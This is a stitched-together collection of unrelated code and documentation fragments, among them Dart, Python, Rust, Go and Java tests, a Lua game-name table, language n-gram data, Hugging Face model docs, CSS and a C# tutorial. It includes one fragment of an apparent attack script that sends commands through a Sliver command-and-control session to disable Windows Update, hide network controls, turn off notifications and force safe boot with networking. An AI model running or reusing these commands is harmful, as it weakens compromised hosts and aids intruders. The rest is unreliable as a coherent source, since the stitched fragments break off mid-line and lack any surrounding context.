        supportedProtocols: ['h2']);
    if (secureSocket.selectedProtocol != 'h2') {
      throw Exception('Failed to negogiate http/2 via alpn. Maybe server '
          "doesn't support http/2.");
    }
    return secureSocket;
  } else {
    return await Socket.connect(uri.host, uri.port);
  }
}
// Copyright (c) 2013, the Dart project authors.  Please see the AUTHORS file
// for details. All rights reserved. Use of this source code is governed by a
// BSD-style license that can be found in the LICENSE file.

import "package:expect/expect.dart";
import 'dart:_js_helper' show Native, Creates, setNativeSubclassDispatchRecord;
import 'dart:_interceptors' show Interceptor, findInterceptorForType;

// Test type checks.

class I {}

class M implements I {
  miz() => 'M';
}

@Native("N")
class N {}

class A extends N {}

class B extends A with M {
}

class Checks<T> {
  bool isCheck(x) => x is T;
  void assignCheck(x) {
    T z = x;
    Expect.identical(x, z);
  }
  void castCheck(x) {
    var z = x as T;
    Expect.identical(x, z);
  }
}

makeB() native;

@Creates('=Object')
getBPrototype() native;

void setup() native r"""
function B() {}
makeB = function(){return new B;};
getBPrototype = function(){return B.prototype;};
""";

bool isCheckedMode() {
  var isChecked = false;
  assert(isChecked = true);
  return isChecked;
}

testIsI(x) {
  Expect.isTrue(x is I);
}

testIsM(x) {
  Expect.isTrue(x is M);
}

testIsN(x) {
  Expect.isTrue(x is N);
}

testIsA(x) {
  Expect.isTrue(x is A);
}

testIsB(x) {
  Expect.isTrue(x is B);
}

testAssignI(x) {
  I z = x;
  Expect.identical(x, z);
}

testAssignM(x) {
  M z = x;
  Expect.identical(x, z);
}

testAssignN(x) {
  N z = x;
  Expect.identical(x, z);
}

testAssignA(x) {
  A z = x;
  Expect.identical(x, z);
}

testAssignB(x) {
  B z = x;
  Expect.identical(x, z);
}

testCastI(x) {
  var z = x as I;
  Expect.identical(x, z);
}

testCastM(x) {
  var z = x


ray(
        [["a"] * 5 + ["b"] * 20 + ["c"] * 10 + ["d"] * 3], dtype=object
    ).T
    encoder = OrdinalEncoder(
        **kwargs, handle_unknown="use_encoded_value", unknown_value=-1
    ).fit(X_train)

    X_test = [["a"], ["b"], ["c"], ["d"], ["e"]]
    assert_allclose(encoder.transform(X_test), [[0], [0], [0], [0], [-1]])

def test_ordinal_encoder_missing_appears_frequent():
    """Check behavior when missing value appears frequently."""
    X = np.array(
        [[np.nan] * 20 + ["dog"] * 10 + ["cat"] * 5 + ["snake"] + ["deer"]],
        dtype=object,
    ).T
    ordinal = OrdinalEncoder(max_categories=3).fit(X)

    X_test = np.array([["snake", "cat", "dog", np.nan]], dtype=object).T
    X_trans = ordinal.transform(X_test)
    assert_allclose(X_trans, [[2], [0], [1], [np.nan]])

def test_ordinal_encoder_missing_appears_infrequent():
    """Check behavior when missing value appears infrequently."""

    # feature 0 has infrequent categories
    # feature 1 has no infrequent categories
    X = np.array(
        [
            [np.nan] + ["dog"] * 10 + ["cat"] * 5 + ["snake"] + ["deer"],
            ["red"] * 9 + ["green"] * 9,
        ],
        dtype=object,
    ).T
    ordinal = OrdinalEncoder(min_frequency=4).fit(X)

    X_test = np.array(
        [
            ["snake", "red"],
            ["deer", "green"],
            [np.nan, "green"],
            ["dog", "green"],
            ["cat", "red"],
        ],
        dtype=object,
    )
    X_trans = ordinal.transform(X_test)
    assert_allclose(X_trans, [[2, 1], [2, 0], [np.nan, 0], [1, 0], [0, 1]])

@pytest.mark.parametrize("Encoder", [OneHotEncoder, OrdinalEncoder])
def test_encoder_not_fitted(Encoder):
    """Check that we raise a `NotFittedError` by calling transform before fit with
    the encoders.

    One could expect that the passing the `categories` argument to the encoder
    would make it stateless. However, `fit` is making a couple of check, such as the
    position of `np.nan`.
    """
    X = np.array([["A"], ["B"], ["C"]], dtype=object)
    encoder = Encoder(categories=[["A", "B", "C"]])
    with pytest.raises(NotFittedError):
        encoder.transform(X)


 "%a %b %e %T %Y",
    "%Y-%m-%d %I:%M:%S %P",
    "%Y-%m-%d %I:%M %P",
    "%m/%d/%y %H:%M:%S",
    "%m/%d/%y %H:%M",
    "%m/%d/%y %H:%M:%S%.f",
    "%m/%d/%y %I:%M:%S %P",
    "%m/%d/%y %I:%M %P",
    "%m/%d/%Y %H:%M:%S",
    "%m/%d/%Y %H:%M",
    "%m/%d/%Y %H:%M:%S%.f",
    "%m/%d/%Y %I:%M:%S %P",
    "%m/%d/%Y %I:%M %P",
    "%Y/%m/%d %H:%M:%S",
    "%Y/%m/%d %H:%M",
    "%Y/%m/%d %H:%M:%S%.f",
    "%Y/%m/%d %I:%M:%S %P",
    "%Y/%m/%d %I:%M %P",
    "%y%m%d %H:%M:%S",
    "%Y年%m月%d日%H时%M分%S秒",
];

const DATE_TIME_WITHOUT_TIMEZONE_REPLACE_COMMAS_PARSE_FORMATS: &[&str] = &[
    "%B %d %Y %H:%M:%S",
    "%B %d %Y %H:%M",
    "%B %d %Y %I:%M:%S %P",
    "%B %d %Y %I:%M %P",
    "%d %B %Y %H:%M:%S",
    "%d %B %Y %H:%M",
    "%d %B %Y %H:%M:%S%.f",
    "%d %B %Y %I:%M:%S %P",
    "%d %B %Y %I:%M %P",
];
const NAIVE_DATE_PARSE_FORMATS: &[&str] = &[
    "%Y-%m-%d",
    "%Y-%b-%d",
    "%d %B %y",
    "%d %B %Y",
    "%m/%d/%y",
    "%m/%d/%Y",
    "%Y/%m/%d",
    "%m.%d.%y",
    "%m.%d.%Y",
    "%Y.%m.%d",
    "%Y年%m月%d日",
];

const NAIVE_DATE_REPLACE_COMMAS_PARSE_FORMATS: &[&str] = &["%B %d %y", "%B %d %Y"];

#[inline]
pub fn parse_datetime(s: &str) -> Result<NaiveDateTime, Error> {
    parse_unix_timestamp(s)
        .or_else(|_| parse_is08601(s))
        .or_else(|_| parse_rfc2822(s))
        .or_else(|_| parse_naive_datetime(s))
        .or_else(|_| parse_utc_naive_datetime(s))
        .or_else(|_| parse_utc_naive_datetime_replace_commas(s))
        .or_else(|_| parse_naive_dates(s))
        .or_else(|_| parse_naive_dates_replace_commas(s))
}

fn parse_unix_timestamp(s: &str) -> Result<NaiveDateTime, Error> {
    match s.len() {
        10 => {
            // unix timestamp - seconds
            match s.parse::<i64>() {
                Ok(u) => Ok(NaiveDateTime::from_timestamp(u, 0)),
                Err(e) => Err(e.into()),
            }
        }
        13 => {
            // unix timestamp - milliseconds
            match s.parse::<i64>() {
                Ok(u) => Ok(Utc.timestamp_nanos(u * 1_000_000).naive_utc()),
                Err(e) => Err(e.into()),
            }
        }
        19 => {
            // unix timestamp - nanoseconds
            match s.parse::<i64>() {
                Ok(u) => Ok(Utc.timestamp_nanos(u).naive_utc()),
                Err(e) => Err


爾巴·斯庫比格特",nil},
[9707] = {"裂盾傳送門",nil},
[9708] = {"燃燒小鬼",nil},
[9716] = {"血斧好戰者","血斧軍團"},
[9717] = {"血斧召喚師","血斧軍團"},
[9718] = {"霍克·巴什古德","血斧軍團的勇士"},
[9736] = {"軍需官茲格雷斯","血斧軍團"},
[9776] = {"噴焰小鬼",nil},
[9777] = {"靈焰小鬼",nil},
[9778] = {"火炬小鬼",nil},
[9779] = {"怒焰小鬼",nil},
[9796] = {"戈加爾",nil},
[9816] = {"烈焰衛士艾博希爾",nil},
[9817] = {"黑手恐法師","黑手軍團"},
[9818] = {"黑手召喚師","黑手軍團"},
[9819] = {"黑手老兵","黑手軍團"},
[9820] = {"[UNUSED] [PH] Cheese Servant Floh",nil},
[9836] = {"瑪瑟迪斯·火芒",nil},
[9837] = {"利希莉亞",nil},
[9857] = {"拍賣師格里茲林",nil},
[9858] = {"拍賣師克雷斯克",nil},
[9859] = {"拍賣師林姆克",nil},
[9860] = {"薩莉亞",nil},
[9861] = {"米萊恩",nil},
[9862] = {"加德納爾軍團士兵",nil},
[9876] = {"洛奇德",nil},
[9877] = {"薩瓦利斯王子",nil},
[9878] = {"熱能野獸",nil},
[9879] = {"熱能恐獸",nil},
[9896] = {"世界獸欄管理員","獸欄管理員"},
[9916] = {"加奎亞",nil},
[9936] = {"腐化貓",nil},
[9937] = {"普通貓",nil},
[9938] = {"瑪格姆斯",nil},
[9956] = {"影爐火焰持護者",nil},
[9976] = {"薩里頓","獸欄管理員"},
[9977] = {"塞麗斯塔","獸欄管理員"},
[9978] = {"維斯雷","獸欄管理員"},
[9979] = {"薩拉·古迪","獸欄管理員"},
[9980] = {"謝爾比·石火","獸欄管理員"},
[9981] = {"西克瓦","獸欄管理員"},
[9982] = {"潘妮","獸欄管理員"},
[9983] = {"克爾蘇瓦","獸欄管理員"},
[9984] = {"烏布雷克·火拳","獸欄管理員"},
[9985] = {"拉茲弗斯","獸欄管理員"},
[9986] = {"謝爾卡·狼行者","獸欄管理員"},
[9987] = {"蘇亞米","獸�


isodePaused.PAUSED
    val isFinished get() = stats.progress.isFinished

    val totalSize: FileSize get() = stats.totalSize

    val sizeText: String? = run {
        // 原本打算展示 "888.88 MB / 888.88 MB" 的格式, 感觉比较啰嗦, 还是省略了
        // 这个函数有正确的 testing, 应该切换就能用
//        calculateSizeText(totalSize.value, progress.value)

        val value = this.totalSize
        return@run if (value == FileSize.Companion.Unspecified) {
            null
        } else {
            "$value"
        }
    }

    val progressText: String? = run {
        val value = stats.progress
        if (value.isUnspecified || this.isFinished) {
            null
        } else {
            "${String.Companion.format1f(value.toPercentageOrZero())}%"
        }
    }

    val speedText = run {
        val progressValue = stats.progress
        val speed = stats.downloadSpeed
        if (!progressValue.isUnspecified) {
            val showSpeed = !progressValue.isFinished && speed != FileSize.Companion.Unspecified
            if (showSpeed) {
                return@run "${speed}/s"
            }
        }
        null
    }

    val isProgressUnspecified get() = stats.progress.isUnspecified

    companion object {
        fun calculateSizeText(
            totalSize: FileSize,
            progress: Float?,
        ): String? {
            if (progress == null && totalSize == FileSize.Companion.Unspecified) {
                return null
            }
            return when {
                progress == null -> {
                    if (totalSize != FileSize.Companion.Unspecified) {
                        "$totalSize"
                    } else null
                }

                totalSize == FileSize.Companion.Unspecified -> null

                else -> {
                    "${totalSize * progress} / $totalSize"
                }
            }
        }
    }
}

@TestOnly
fun createTestMediaStats(): MediaStats = MediaStats.Unspecified

@TestOnly
val TestCacheEpisodes
    get() = listOf(
        createTestCacheEpisode(1, "翻转孤独", 1),
        createTestCacheEpisode(2, "明天见", 1),
        createTestCacheEpisode(3, "火速增员", 1),
    )

@OptIn(DelicateCoroutinesApi::class)
@Suppress("SameParameterValue")
@TestOnly
fun createTestCacheEpisode(
    sort: Int,
    displayName: String = "第 $sort 话",
    subjectId: Int = 1,
    episodeId: Int = sort,
    initialState: CacheEpisodePaused = when (sort % 2) {
        0 -> CacheEpisodePaused.PAUSED
        else -> CacheEpisodePaused.IN_PROGRESS
    },
    downloadSpeed: FileSize = 233.megaBytes,
    progress: Progress = 0.3f.toProgress(),
    totalSize: FileSize = 888.megaBytes,
): CacheEpisodeState {
    return CacheEpisodeState(
        subjectId = subjectId,
        episodeId = episodeId,
        cacheId = "1",
        sort = EpisodeSort(sort),
        displayName = displayName,
        creationTime = 100,
        screenShots = emptyList(),
        stats = CacheEpisodeState.Stats(
            downloadSpeed = downloadSpeed,
            progress = progress,
            totalSize = totalSize,
        ),
        state = initialState,
    )
}/*
 * Copyright (C) 2024-2025 OpenAni and contributors.
 *
 * 此源代码的使用受 GNU AFFERO GENERAL PUBLIC LICENSE version 3 许可证的约束, 可以在以下链接找到该许可证.
 * Use of this source code is governed by t


|р а|де | жа|ін |а қ|ары|ан | әр|қыл|ара|ала| ме|н қ|еме|уға|ның| де|асы|ам |іне|тан|лы |нды|да |әр |ығы|ста|еке| өз|ын |ған|анд|мес| бі| қо|ды |ің |бас|бол|етт|ып |н б|ілі|қық|нде|ері|е қ|алы|нем|се |бір|лар|есе|ы б|тын|а ж| ке|тиі|ост|ге |бар| ти|е б| ар|дық|сы |інд|е а|аты| та| бе|ы т|ік |олы|нда|ғын|ры |иіс|ғы | те|бос|луы|алу|сын|рын|еті|іс |рде|қығ|е ж|рін|дар|іні|н ж|тті|қар|н к|ім | ер|егі|ыры|ыны| са|рға|ген|ынд|аны|уын|ы м|лға|ана|нің|тер|уы |ей |тік|ке |сқа|қа |мыс|тық|м б|ард| от|е н|е т|мны|өзі|нан|гіз|еге| на|ы ә|аза|ң қ|лан|нег|асқ|кін|амн|кет|рал|айд|луғ|аса|ті |рды|і б|а б|ру | же|р м|ді |тта|мет|лік|тыр|ама|жас|н н|лып| мү|дай|өз |ігі| ал|ауд|дей|зін|бер|р б|уда|кел|біл|і т|қор|тең|лге| жү|ден|ы а|елі|дер|ы ж|а т|рқы|рлы|арқ| тү|қам|еле|а о|е ө|тін|ір |ең |уге|е м|лде|ау |ауы|ркі|н а|ы е|оны|н т|рыл|түр|ция|гін| то| ха|жағ|оға|осы|зде| ос|ікт|кті|а д|ұлт|лтт|тты|лім|ғда| ау| да|хал|тте|лма| ұл|амд|құр|ірі|қат|тал|орғ|зі |елг|сіз|ағы| ел|ң б|ыс | ас|імд|оты| әл|н е|ағд|қты|шін|ерк|е д|ек |ені|кім|ылм|шіл|аға|сты|лер|гі |атт|кен| кө|ым‐| кұ|кұқ|ра |рік|н ә| еш"},"Arabic":{"arb":" ال|ية | في|الح|في | وا|وال| أو|ة ا|أو |الم|الت|لحق|حق |لى |كل |ان |ة و|الأ| لك|لكل|ن ا|ها |ق ف|ات |مة |ون |أن |ما |اء |ته |و ا|الع|ي ا|شخص|ي أ| أن|الإ|م ا|حري


All rights reserved.

Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at

http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on
an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
specific language governing permissions and limitations under the License.

⚠ Note that this file is in Markdown but contain specific syntax for our doc-builder (similar to MDX) that may not be
rendered properly in your Markdown viewer.

-->

# GIT

## Overview

The GIT model was proposed in [GIT: A Generative Image-to-text Transformer for Vision and Language](https://arxiv.org/abs/2205.14100) by
Jianfeng Wang, Zhengyuan Yang, Xiaowei Hu, Linjie Li, Kevin Lin, Zhe Gan, Zicheng Liu, Ce Liu, Lijuan Wang. GIT is a decoder-only Transformer
that leverages [CLIP](clip)'s vision encoder to condition the model on vision inputs besides text. The model obtains state-of-the-art results on
image captioning and visual question answering benchmarks.

The abstract from the paper is the following:

*In this paper, we design and train a Generative Image-to-text Transformer, GIT, to unify vision-language tasks such as image/video captioning and question answering. While generative models provide a consistent network architecture between pre-training and fine-tuning, existing work typically contains complex structures (uni/multi-modal encoder/decoder) and depends on external modules such as object detectors/taggers and optical character recognition (OCR). In GIT, we simplify the architecture as one image encoder and one text decoder under a single language modeling task. We also scale up the pre-training data and the model size to boost the model performance. Without bells and whistles, our GIT establishes new state of the arts on 12 challenging benchmarks with a large margin. For instance, our model surpasses the human performance for the first time on TextCaps (138.2 vs. 125.5 in CIDEr). Furthermore, we present a new scheme of generation-based image classification and scene text recognition, achieving decent performance on standard benchmarks.*

Tips:

- GIT is implemented in a very similar way to GPT-2, the only difference being that the model is also conditioned on `pixel_values`.
- One can use [`GitProcessor`] to prepare images for the model, and the `generate` method for autoregressive generation.

 GIT architecture. Taken from the original paper.

This model was contributed by [nielsr](https://huggingface.co/nielsr).
The original code can be found [here](https://github.com/microsoft/GenerativeImage2Text).

## Resources

A list of official Hugging Face and community (indicated by 🌎) resources to help you get started with GIT.

- Demo notebooks regarding inference + fine-tuning GIT on custom data can be found [here](https://github.com/NielsRogge/Transformers-Tutorials/tree/master/GIT).
- See also: [Causal language modeling task guide](../tasks/language_modeling)

If you're interested in submitting a resource to be included here, please feel free to open a Pull Request and we will review it.
The resource should ideally demonstrate something new instead of duplicating an existing resource.

## GitVisionConfig

[[autodoc]] GitVisionConfig

## GitVisionModel

[[autodo


 await sliver_executor.cmd(session_id=sliver_sessionid,input_commands=commands)

    print_finished_message()

    confirm_action()
    commands = """
    reg add \"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\" /v HideSCANetwork /t REG_DWORD /d 1 /f

    """
    await sliver_executor.cmd(session_id=sliver_sessionid,input_commands=commands)

    print_finished_message()

    confirm_action()
    commands = """
    bcdedit /set safeboot network
    """
    await sliver_executor.cmd(session_id=sliver_sessionid,input_commands=commands)

    print_finished_message()

    confirm_action()
    commands = """
    reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\" /v \"NoAutoUpdate\" /t REG_DWORD /d 1 /f

    """
    await sliver_executor.cmd(session_id=sliver_sessionid,input_commands=commands)

    print_finished_message()

    confirm_action()
    commands = """
    reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications /v ToastEnabled /t REG_DWORD /d 0 /f

    """
    await sliver_executor.cmd(session_id=sliver_sessionid,input_commands=commands)

    print_finished_message()

if __name__ == "__main__":
    asyncio.run(main())


imagebox.style3 .box-bottom {
		text-align:left;
	}

	.flat-newsletter .form-newsletter .left form {
		display:block;
	}

	.flat-newsletter .form-newsletter .left form input {
		width:100%;
	}

	.flat-imagebox.style2 .product-wrap .tab-item .row .col-md-6 .product-box .imagebox .box-bottom .btn-add-cart a {
		padding:0 30px;
	}

	.top-search.style1 {
		width:290px;
	}

	.top-search form.form-search .cat-wrap {
		display:none;
	}

	.top-search form.form-search .box-search input {
		padding-left:15px;
	}

	.box-cart .inner-box .dropdown-box {
		right:-57px;width:310px;padding:25px 15px;
	}

	.box-cart .inner-box .dropdown-box:before {
		right:73px;
	}

	.popup-newsletter .container {
		width:320px
	}

	.popup-newsletter .popup-text h2 {
		font-size:20px;
	}

	.popup-newsletter .popup-text p.subscribe {
		margin:15px 0 15px;
	}

	.popup-newsletter .popup-text .form-popup .checkbox {
		margin-top:0px;
	}

	.slider .slider-item.style4 .item-text {
		padding:15px 10px;
	}

	.slider .slider-item.style8 .item-text {
		padding:25px;
	}

	.owl-carousel-3 .imagebox.style4 {
		height:310px;
	}

	.slider .slider-item.style10 .item-text .header-item h2 {
		font-size:50px;
	}

	.header-bottom.style1 .grid-right .top-search.style1 {
		width:91%;
	}

	.owl-carousel-4 .imagebox.style4 {
		text-align:center;
	}

	.slider .slider-item .item-text {
		width:100%;padding:30px !important;
	}

	.owl-carousel-item .product-box.style1:last-child {
		margin-bottom:80px;
	}

	.slider .slider-item.style7 .item-text .header-item h2 {
		margin-top:0px;margin-bottom:0px;
	}

	.box-cart.style1.v1 .inner-box .dropdown-box {
		right:-80px;
	}

	.box-cart.style1.v1 .inner-box .dropdown-box:before {
		right:95px;
	}

	.slider .slider-item.style8 .item-text .header-item h2 {
		line-height:42px;
	}

	.flat-breadcrumb ul.breadcrumbs li.trail-item {
		margin-right:6px;
	}

	.slider .slider-item:before,
	.slider .slider-item.style1:before {
		right: 20px;
	}

}

@media (max-width:320px) {

}
/**
  * Name: Techno Store
  * Version: 1.0
  * Author: CreativeLayers
  * Author URI: http://themeforest.net/user/creativelayers
*/

@import url("font-awesome.css");
@import url("flexslider.css");
@import url("owl.carousel.css");
@import url("shortcodes.css");
@import url("jquery-ui.css");
@import url("waves.min.css");
@import url("mCustomScrollbar.css");
@import url("fonts/BloggerSans/BloggerSans.css");

/**
  *	Reset
  *	Repeatable Patterns
  * Boxed
  * Header
  * Menu Mega
  * Main Navigation
  * Main Navigation Mobile
  *


ryDismax() throws Exception {
    for (final String type : new String[] {"dismax", "edismax"}) {
      assertQueryEquals(
          type, "{!" + type + "}apache solr", "apache solr", "apache  solr", "apache solr ");
      assertQueryEquals(type, "+apache +solr", "apache AND solr", " +apache +solr");
    }
  }

  public void testField() throws Exception {
    SolrQueryRequest req = req("myField", "foo_s");
    try {
      assertQueryEquals(
          "field",
          req,
          "{!field f=$myField}asdf",
          "{!field f=$myField v=asdf}",
          "{!field f=foo_s}asdf");
    } finally {
      req.close();
    }
  }

  public void testQueryRaw() throws Exception {
    SolrQueryRequest req = req("myField", "foo_s");
    try {
      assertQueryEquals(
          "raw", req, "{!raw f=$myField}asdf", "{!raw f=$myField v=asdf}", "{!raw f=foo_s}asdf");
    } finally {
      req.close();
    }
  }

  public void testQueryTerm() throws Exception {
    SolrQueryRequest req = req("myField", "foo_s");
    try {
      assertQueryEquals(
          "term",
          req,
          "{!term f=$myField}asdf",
          "{!term f=$myField v=asdf}",
          "{!term f=foo_s}asdf");
    } finally {
      req.close();
    }
  }

  @SuppressWarnings({"unchecked"})
  public void testQueryCollapse() throws Exception {
    SolrQueryRequest req =
        req(
            "myField", "foo_s1",
            "g_sort", "foo_s1 asc, foo_i desc");

    try {
      assertQueryEquals("collapse", req, "{!collapse field=$myField}");

      assertQueryEquals("collapse", req, "{!collapse field=$myField max=a}");

      assertQueryEquals(
          "collapse",
          req,
          "{!collapse field=$myField min=a}",
          "{!collapse field=$myField min=a nullPolicy=ignore}");

      assertQueryEquals(
          "collapse",
          req,
          "{!collapse field=$myField sort=$g_sort}",
          "{!collapse field=$myField sort='foo_s1 asc, foo_i desc'}",
          "{!collapse field=$myField sort=$g_sort nullPolicy=ignore}");

      assertQueryEquals("collapse", req, "{!collapse field=$myField max=a nullPolicy=expand}");

      // Add boosted documents to the request context.
      @SuppressWarnings({"rawtypes"})
      Map context = req.getContext();
      @SuppressWarnings({"rawtypes"})
      Set boosted = new HashSet();
      boosted.add("doc1");
      boosted.add("doc2");
      context.put("BOOSTED", boosted);

      assertQueryEquals(
          "collapse",
          req,
          "{!collapse field=$myField min=a}",
          "{!collapse field=$myField min=a nullPolicy=ignore}");

    } finally {
      req.close();
    }
  }

  public void testHash() throws Exception {
    SolrQueryRequest req = req("partitionKeys", "foo_s");

    try {
      assertQueryEquals("hash", req, "{!hash workers=3 worker=0}");

    } finally {
      req.close();
    }
  }

  public void testMinHash() throws Exception {
    SolrQueryRequest req = req("q", "apache lucene is a search library", "df", "min_hash_analyzed");

    try {
      assertQueryEquals(
          "min_hash",
          req


	ctx := context.Background()
	progressCh, errCh := env.Client.Action.WatchProgress(ctx, action)
	var (
		progressUpdates []int
		err             error
	)

loop:
	for {
		select {
		case progress := <-progressCh:
			progressUpdates = append(progressUpdates, progress)
		case err = <-errCh:
			break loop
		}
	}

	require.Error(t, err)
	var actionErr ActionError
	require.ErrorAs(t, err, &actionErr)
	require.Equal(t, "action_failed", actionErr.Code)
	require.Equal(t, []int{50}, progressUpdates)
}

func TestActionClientWatchProgressError(t *testing.T) {
	env := newTestEnv()
	defer env.Teardown()

	env.Mux.HandleFunc("/actions", func(w http.ResponseWriter, r *http.Request) {
		w.Header().Set("Content-Type", "application/json")
		w.WriteHeader(http.StatusUnprocessableEntity)
		_ = json.NewEncoder(w).Encode(schema.ErrorResponse{
			Error: schema.Error{
				Code:    string(ErrorCodeServiceError),
				Message: "service error",
			},
		})
	})

	action := &Action{ID: 1, Status: ActionStatusRunning}
	ctx := context.Background()
	_, errCh := env.Client.Action.WatchProgress(ctx, action)
	if err := <-errCh; err == nil {
		t.Fatal("expected an error")
	}
}

func TestActionClientWatchProgressInvalidID(t *testing.T) {
	env := newTestEnv()
	defer env.Teardown()

	callCount := 0

	env.Mux.HandleFunc("/actions", func(w http.ResponseWriter, r *http.Request) {
		callCount++
		w.Header().Set("Content-Type", "application/json")
		switch callCount {
		case 1:
			_, _ = w.Write([]byte(`{
				"actions": [],
				"meta": { "pagination": { "page": 1 }}
			}`))
		default:
			t.Errorf("unexpected number of calls to the test server: %v", callCount)
		}
	})
	action := &Action{ID: 1, Status: ActionStatusRunning}

	ctx := context.Background()
	progressCh, errCh := env.Client.Action.WatchProgress(ctx, action)
	var (
		progressUpdates []int
		err             error
	)

loop:
	for {
		select {
		case progress := <-progressCh:
			progressUpdates = append(progressUpdates, progress)
		case err = <-errCh:
			break loop
		}
	}

	assert.Equal(t, "actions not found: [1]", err.Error())

	if len(progressUpdates) != 0 {
		t.Fatalf("unexpected progress updates: %v", progressUpdates)
	}
}
package hcloud

import (
	"context"
	"fmt"
)

// WatchOverallProgress watches several actions' progress until they complete
// with success or error. This watching happens in a goroutine and updates are
// provided through the two returned channels:
//
//   - The first channel receives percentage updates of the progress, based on
//     the number of completed versus total watched actions. The return value
//     is an int between 0 and 100.
//   - The second channel returned receives errors for actions that did not
//     complete successfully, as well as any errors that happened while
//     querying the API.
//
// By default, the method keeps watching until all actions have finished
// processing. If you want to be able to cancel the method or configure a
// timeout, use the [context.Context]. Once the method has stopped watching,
// both returned channels are closed.
//
// WatchOverallProgress uses the [WithPollOpts] of the [Client] to wait
// until sending the next request.
//
// Deprecated: WatchOverallProgress is deprecated, use [WaitForFunc] instead.
func (c *ActionClient) WatchOverallProgress(ctx context.Context, actions []*Action) (<-chan int, <-chan error) {
	errCh := make(cha


the GNU Lesser General Public License
-- along with this library; if not, see <http://www.gnu.org/licenses/>.
--
-- Comments, questions and criticisms can be sent to: sean@conman.org
--
-- ====================================================================
--
-- Validate a valid UTF-8 character.
--
-- ********************************************************************
-- luacheck: ignore 611
-- RFC-3629
--
-- Characters 192-193 and 245-255 will never appear in proper UTF-8
-- encoding.

return require "org.conman.parsers.utf8.char"
     + require "org.conman.parsers.ascii.char"
     + require "org.conman.parsers.utf8.control"
     + require "org.conman.parsers.ascii.control"


rks great on Mac.
	* Version 0.2.0 - 2015-09-17 - Removed the only dependency.
	* Version 0.3.0 - 2015-10-02 - Drop-in replacement for most of GLOG
	* Version 0.4.0 - 2015-10-07 - Single-file!
	* Version 0.5.0 - 2015-10-17 - Improved file logging
	* Version 0.6.0 - 2015-10-24 - Add stack traces
	* Version 0.7.0 - 2015-10-27 - Signals
	* Version 0.8.0 - 2015-10-30 - Color logging.
	* Version 0.9.0 - 2015-11-26 - ABORT_S and proper handling of FATAL
	* Version 1.0.0 - 2016-02-14 - ERROR_CONTEXT
	* Version 1.1.0 - 2016-02-19 - -v OFF, -v INFO etc
	* Version 1.1.1 - 2016-02-20 - textprintf vs strprintf
	* Version 1.1.2 - 2016-02-22 - Remove g_alsologtostderr
	* Version 1.1.3 - 2016-02-29 - ERROR_CONTEXT as linked list
	* Version 1.2.0 - 2016-03-19 - Add get_thread_name()
	* Version 1.2.1 - 2016-03-20 - Minor fixes
	* Version 1.2.2 - 2016-03-29 - Fix issues with set_fatal_handler throwing an exception
	* Version 1.2.3 - 2016-05-16 - Log current working directory in loguru::init().
	* Version 1.2.4 - 2016-05-18 - Custom replacement for -v in loguru::init() by bjoernpollex
	* Version 1.2.5 - 2016-05-18 - Add ability to print ERROR_CONTEXT of parent thread.
	* Version 1.2.6 - 2016-05-19 - Bug fix regarding VLOG verbosity argument lacking ().
	* Version 1.2.7 - 2016-05-23 - Fix PATH_MAX problem.
	* Version 1.2.8 - 2016-05-26 - Add shutdown() and remove_all_callbacks()
	* Version 1.2.9 - 2016-06-09 - Use a monotonic clock for uptime.
	* Version 1.3.0 - 2016-07-20 - Fix issues with callback flush/close not being called.
	* Version 1.3.1 - 2016-07-20 - Add LOGURU_UNSAFE_SIGNAL_HANDLER to toggle stacktrace on signals.
	* Version 1.3.2 - 2016-07-20 - Add loguru::arguments()
	* Version 1.4.0 - 2016-09-15 - Semantic versioning + add loguru::create_directories
	* Version 1.4.1 - 2016-09-29 - Customize formating with LOGURU_FILENAME_WIDTH
	* Version 1.5.0 - 2016-12-22 - LOGURU_USE_FMTLIB by kolis and LOGURU_WITH_FILEABS by scinart
	* Version 1.5.1 - 2017-08-08 - Terminal colors on Windows 10 thanks to looki
	* Version 1.6.0 - 2018-01-03 - Add LOGURU_RTTI and LOGURU_STACKTRACES settings
	* Version 1.7.0 - 2018-01-03 - Add ability to turn off the preamble with loguru::g_preamble
	* Version 1.7.1 - 2018-04-05 - Add function get_fatal_handler
	* Version 1.7.2 - 2018-04-22 - Fix a bug where large file names could cause stack corruption (thanks @ccamporesi)
	* Version 1.8.0 - 2018-04-23 - Shorten long file names to keep preamble fixed width
	* Version 1.9.0 - 2018-09-22 - Adjust terminal colors, add LOGURU_VERBOSE_SCOPE_ENDINGS, add LOGURU_SCOPE_TIME_PRECISION, add named log levels
	* Version 2.0.0 - 2018-09-22 - Split loguru.hpp into loguru.hpp and loguru.cpp
	* Version 2.1.0 - 2019-09-23 - Update fmtlib + add option to loguru::init to NOT set main thread name.
	* Version 2.2.0 - 2020-07-31 - Replace LOGURU_CATCH_SIGABRT with struct SignalOptions

# Compiling
	Just include <loguru.hpp> where you want to use Loguru.
	Then, in one .cpp file #include <loguru.cpp>
	Make sure you compile with -std=c++11 -lstdc++ -lpthread -ldl

# Usage
	For details, please see


         Console.Write(myNumbers[i, j] + " ");
                }
            }
            Console.WriteLine();

            //ACCESSING ELEMENTS
            Console.WriteLine("--------------------Accessing Elements---------------------");
            //We can access elements in a multi-dimensional array by specifying the
            //index for each dimension.
            var value = myNumbers[1, 3]; //2
            Console.WriteLine(value);

            //RANGES

            Console.WriteLine("-----------------Ranges-------------------");

            //In C# 8.0, we now have a way to get a subset of an array.
            //This is called a Range.

            //Let's imagine we have the following array of names.
            var names = new string[] { "Andy", "Brittany", "Charles", "Damian", "Etan",
                                       "Franklin", "Georgina", "Hasan", "Indira", "Jannelle" };

            //If we want to get the names starting with "Charles" and ending with "Hasan" we can
            //specify a range using the .. operator.
            var nameSubset = names[2..8];
            foreach (var name in nameSubset)
                Console.WriteLine(name);
            Console.WriteLine("--------------------------------------------");

            //We can also declare ranges as variables
            var range = 1..5;
            var nameSubset2 = names[range];
            foreach (var name in nameSubset2)
                Console.WriteLine(name);

            //OPEN-ENDED RANGES
            Console.WriteLine("--------------------Open-Ended Ranges---------------------");

            //We can get a range starting at a specific index and going to the end of the collection.
            var nameSubset3 = names[4..];
            foreach (var name in nameSubset3)
                Console.WriteLine(name);
            Console.WriteLine("--------------------------------------------");

